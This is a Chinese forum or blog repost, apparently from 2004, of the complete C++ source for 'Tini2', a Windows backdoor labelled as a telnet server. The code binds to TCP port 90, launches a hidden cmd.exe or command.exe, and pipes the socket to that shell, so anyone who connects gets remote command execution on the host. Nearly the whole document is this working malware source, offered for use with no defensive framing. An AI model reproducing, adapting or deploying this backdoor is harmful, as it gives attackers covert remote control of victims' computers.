tini2后门代码

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tini2后门代码 2004-10-16 hss001 点击: 134

tini2后门代码

////////////////////////////////////////////////////////////////////////////////
//
//      Telnet Server.
//
//      File      : Tini2.cpp
//
//      Create at : 2002.3.28
//      Create by : dancefire , refdom
//  Email   : dangcefire@263.net , refdom@263.net
//
//  If you modify the code, or add more functions, please email me a copy.
//
////////////////////////////////////////////////////////////////////////////////

#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "kernel32.lib")

#define PORT 90

SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
u_char varA,varB;

DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
    &hWriteFile,
    &pipeattr,
    0);

varA = 1;
while(true)
{
  Sleep(250);
  nByteToWrite = recv(ClientSocket,
       recv_buff,
       1024,
       0);
  WriteFile(hWriteFile,
    recv_buff,
    nByteToWrite,
    &nByteWritten,
    NULL);
}
return 0;
}

DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;

CreatePipe(&hReadFile,
   &hWritePipe,
   &pipeattr,
   0);

varB = 1;
while (true)
{
  ReadFile(hReadFile,
    send_buff,
    25000,
    &len,
    NULL);

  send(ClientSocket,
   send_buff,
   len,
   0);
}
return 0;
}

void main(void)
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;
int nRetCode;
DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
OSVERSIONINFO osvi;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo;

WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(PORT);
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;

bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
listen(ServerSocket, 5);

varA = 0;
varB = 0;
CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);

do{
Sleep(250);
}while((varA || varB) == 0);

GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE;

osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

GetVersionEx(&osvi);
char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1);

if(osvi.dwPlatformId == 2)
{
  strcat(szAPP,"//cmd.exe");
  if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0,
       NULL, NULL, &startinfo, &processinfo) == 0)
  {
   printf ("CreateProcess Error!/n");
   return;
  }
}
else
{
  strcat(szAPP,"//command.exe");
  CreateProcess(NULL,
     szAPP,
     0,
     0,
     true,
     0,
     0,
     0,
     &startinfo,
     &processinfo);
}

while (true)
{
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}
}